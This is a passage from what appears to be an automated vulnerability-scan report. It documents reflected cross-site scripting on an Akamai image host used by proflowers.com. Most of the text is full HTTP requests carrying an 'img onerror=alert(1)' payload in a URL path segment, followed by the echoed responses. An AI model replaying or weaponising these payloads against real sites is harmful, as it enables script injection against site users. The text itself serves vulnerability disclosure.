This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /7/1128/497/0001/image.proflowers.com/is/image/ProvideCommerce/PCR11_0000009G125X_0090481_W2_SQ5b198<img%20src%3da%20onerror%3dalert(1)>c4c8409ea3e?nanos=770&qlt=75,0&resMode=sharp&op_usm=0.5,1.0,0.0,0&wid=174&hei=174 HTTP/1.1 Host: a1128.g.akamai.net Proxy-Connection: keep-alive Referer: http://www.personalcreations.com/?ref=pcrprtlscasalemedia_ronCPCAnniversary_hp_720x300Anniv_HrtsndprntPwtrpltThennowfrme&Keyword=PC_YR11_720x300_Anniv_HrtsndprntPwtrpltThennowfrme_hp_html&Network=Casale_Media User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 9 is copied into the HTML document as plain text between tags. The payload 231ab<img%20src%3da%20onerror%3dalert(1)>e6d8d6db049 was submitted in the REST URL parameter 9. This input was echoed as 231ab<img src=a onerror=alert(1)>e6d8d6db049 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /7/1128/497/0001/image.proflowers.com/is/image/ProvideCommerce/PCR11_0000011F111X_0138942_W1_SQ231ab<img%20src%3da%20onerror%3dalert(1)>e6d8d6db049?nanos=770&qlt=75,0&resMode=sharp&op_usm=0.5,1.0,0.0,0&wid=174&hei=174 HTTP/1.1 Host: a1128.g.akamai.net Proxy-Connection: keep-alive Referer: http://www.personalcreations.com/?ref=pcrprtlscasalemedia_ronCPCAnniversary_hp_720x300Anniv_HrtsndprntPwtrpltThennowfrme&Keyword=PC_YR11_720x300_Anniv_HrtsndprntPwtrpltThennowfrme_hp_html&Network=Casale_Media User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 9 is copied into the HTML document as plain text between tags. The payload e2157<img%20src%3da%20onerror%3dalert(1)>5531a670ae2 was submitted in the REST URL parameter 9. This input was echoed as e2157<img src=a onerror=alert(1)>5531a670ae2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /7/1128/497/0001/image.proflowers.com/is/image/ProvideCommerce/PCR11_0000011G128X_0134102_W1_SQe2157<img%20src%3da%20onerror%3dalert(1)>5531a670ae2?nanos=770&qlt=75,0&resMode=sharp&op_usm=0.5,1.0,0.0,0&wid=174&hei=174 HTTP/1.1 Host: a1128.g.akamai.net Proxy-Connection: keep-alive Referer: http://www.personalcreations.com/?ref=pcrprtlscasalemedia_ronCPCAnniversary_hp_720x300Anniv_HrtsndprntPwtrpltThennowfrme&Keyword=PC_YR11_720x300_Anniv_HrtsndprntPwtrpltThennowfrme_hp_html&Network=Casale_Media User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 9 is copied into the HTML document as plain text between tags. The payload 4b059<img%20src%3da%20onerror%3dalert(1)>6709cddd430 was submitted in the REST URL parameter 9. This input was echoed as 4b059<img src=a onerror=alert(1)>6709cddd430 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /7/1128/497/0001/image.proflowers.com/is/image/ProvideCommerce/PCR11_0000011G242X_0136242_W1_SQ4b059<img%20src%3da%20onerror%3dalert(1)>6709cddd430?nanos=770&qlt=75,0&resMode=sharp&op_usm=0.5,1.0,0.0,0&wid=174&hei=174 HTTP/1.1 Host: a1128.g.akamai.net Proxy-Connection: keep-alive Referer: http://www.personalcreations.com/?ref=pcrprtlscasalemedia_ronCPCAnniversary_hp_720x300Anniv_HrtsndprntPwtrpltThennowfrme&Keyword=PC_YR11_720x300_Anniv_HrtsndprntPwtrpltThennowfrme_hp_html&Network=Casale_Media User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 9 is copied into the HTML document as plain text between tags. The payload 76672<img%20src%3da%20onerror%3dalert(1)>2c03fb67eb4 was submitted in the REST URL parameter 9. This input was echoed as 76672<img src=a onerror=alert(1)>2c03fb67eb4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /7/1128/497/0001/image.proflowers.com/is/image/ProvideCommerce/p0084749b76672<img%20src%3da%20onerror%3dalert(1)>2c03fb67eb4?nanos=770&qlt=75,0&resMode=sharp&op_usm=0.5,1.0,0.0,0&wid=174&hei=174 HTTP/1.1 Host: a1128.g.akamai.net Proxy-Connection: keep-alive Referer: http://www.personalcreations.com/?ref=pcrprtlscasalemedia_ronCPCAnniversary_hp_720x300Anniv_HrtsndprntPwtrpltThennowfrme&Keyword=PC_YR11_720x300_Anniv_HrtsndprntPwtrpltThennowfrme_hp_html&Network=Casale_Media User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3